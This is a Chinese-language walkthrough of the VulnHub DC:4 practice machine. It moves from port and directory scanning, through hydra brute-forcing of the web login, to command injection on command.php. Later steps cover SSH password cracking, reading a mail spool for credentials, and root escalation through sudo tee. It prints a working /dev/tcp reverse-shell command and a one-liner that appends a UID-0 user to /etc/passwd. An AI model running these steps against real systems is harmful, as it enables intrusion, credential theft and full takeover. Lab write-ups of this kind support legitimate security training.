• vulnhub DC: 4


    渗透思路:

    nmap扫描端口 ---- gobuster扫描网站目录 ---- hydra爆破网站登录密码 ---- 利用RCE漏洞getshell ---- 获取jim的ssh密码 ---- 邮件中获取charles的ssh密码 ---- sudo tee提权

    环境信息:

    靶机:192.168.101.109

    攻击机:192.168.101.34

    具体步骤:

    1、nmap扫描端口

    sudo nmap -sV -sC -p- 192.168.101.109

    只发现22和80端口

    2、gobuster扫描网站目录

    浏览器访问80端口发现是一个登录页面,目前有两个思路,一个是利用sql注入绕过用户名密码验证登录,另一个是进行用户名密码爆破。

    首先尝试了sql注入,没有发现线索;想要尝试用户名密码爆破,但是kali中的burp是社区版,爆破非常慢,而使用hydra的话,由于这个登录页面登录失败时没有任何提示,所以无法用失败提示进行爆破。

    尝试扫描网站目录找到更多线索

    gobuster dir -u http://192.168.101.109 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php

    扫出来几个页面,但都需要先登录

    3、hydra爆破登录密码

    根据网站目录扫描结果,可以推测登录成功后会跳转到/command.php页面,也许页面有command这个单词,因此可以尝试用hydra的登录成功提示进行扫描。

    另外根据登录页面“Admin Information Systems Login”,猜测用户名是admin。

    下面尝试用hydra对admin的密码进行爆破

    hydra -l admin -P top1000.txt 192.168.101.109 http-post-form "/login.php:username=^USER^&password=^PASS^:S=command"

    密码字典从这里下载

    https://github.com/k8gege/PasswordDic

    得到admin的密码happy

    登录成功后来到下图所示页面,虽然和预想的跳转到/command.php页面不同,但是确实页面有单词command

    4、利用RCE漏洞getshell

    点击Command,跳转到http://192.168.101.109/command.php

    点Run按钮会显示系统命令执行后的结果

    用burp抓包,将下图所示报文发送到repeater模块

    bash -c 'exec bash -i &>/dev/tcp/192.168.101.34/8888 <&1'在burp的decoder模块进行URL编码

    在攻击机上监听8888端口

    nc -nlvp 8888

    用编码后的结果替代radio的值并发送

    攻击机监听端口获得靶机www-data用户的shell

    5、获取jim的ssh密码

    家目录下发现3个用户

    在/home/jim下发现一个不寻常的文件test.sh,不但有suid,而且还任意用户可写

    试了半天没提权到jim,网上查了一下,发现shell脚本设置suid位是不生效的。

    参见:linux提权——suid提权 - tomyyyyy - 博客园

    逛了一圈之后发现在/home/jim/backups目录下有个叫old-passwords.bak的文件,里面有很多貌似密码的字符串

    接下来想办法把这个文件取出来。

    在靶机上/home/jim/backups目录下用python3起http服务:

    python3 -m http.server 9090

    攻击机上用wget下载old-passwords.bak:

    wget http://192.168.101.109:9090/old-passwords.bak

    然后用hydra爆破jim的ssh登录密码:

    hydra -l jim -P old-passwords.bak ssh://192.168.101.109

    得到密码jibril04

    以用户名jim,密码jibril04进行ssh登录,成功登录靶机

    ssh jim@192.168.101.109

    6、获取charles的ssh密码

    在jim的家目录下还看到一个mbox文件,打开发现是一封测试邮件

    也许其他邮件中会泄露什么信息

    全局搜索mail文件或文件夹

    find / -name mail 2>/dev/null

    其中在/var/mail和/var/spool/mail有一封相同的邮件,文件名叫jim,内容如下图所示

    从图中可见,Charles的密码是^xHhA&hvim0y

    7、sudo tee提权

    切换到charles,然后执行sudo -l发现charles可以以root身份执行/usr/bin/teehee

    由于/usr/bin/teehee是个自创命令,因此可以先执行/usr/bin/teehee --help来看看这个命令怎么使用

    从命令帮助来看,这个应该就是tee命令的副本,功能和tee命令是一样的

    试试用tee命令的提权方法来提权:

    在靶机的/etc/passwd文件中新增一个用户fancy,密码为123456,其他都和root用户一致:

    (1)在攻击机上用openssl生成写入passwd的用户的密码md5散列

    openssl passwd -1 -salt dc4 123456

    得到$1$dc4$et4u0w92ZYIY4bsJE/gJG0

    (2)在靶机/etc/passwd文件中新增用户fancy

    echo 'fancy:$1$dc4$et4u0w92ZYIY4bsJE/gJG0:0:0:root:/root:/bin/bash' | sudo /usr/bin/teehee -a /etc/passwd

    (3)su - fancy密码为刚刚设置的123456

    成功提权到root,并在/root目录下找到flag.txt

  • 相关阅读:
    Windows 安装 Docker Desktop 到其他盘、迁移虚拟硬盘映像文件、压缩虚拟硬盘映像占用空间
    vue当中script setup语法糖
    JAVA Exception in thread “main“ java.lang.NullPointerException
    抽象类和接口的区别
    音视频开发—FFmpeg 从MP4文件中抽取视频H264数据
    鼎盛合 | 宠物智能投食机方案设计开发
    电气元器件——变频器、自锁开关、电磁继电器、温度检测
    使用Go语言搭建区块链基础
    使用SecScanC2构建P2P去中心化网络实现反溯源
    【堡塔企业级防篡改-重构版】使用手册
  • 原文地址:https://blog.csdn.net/elephantxiang/article/details/127593066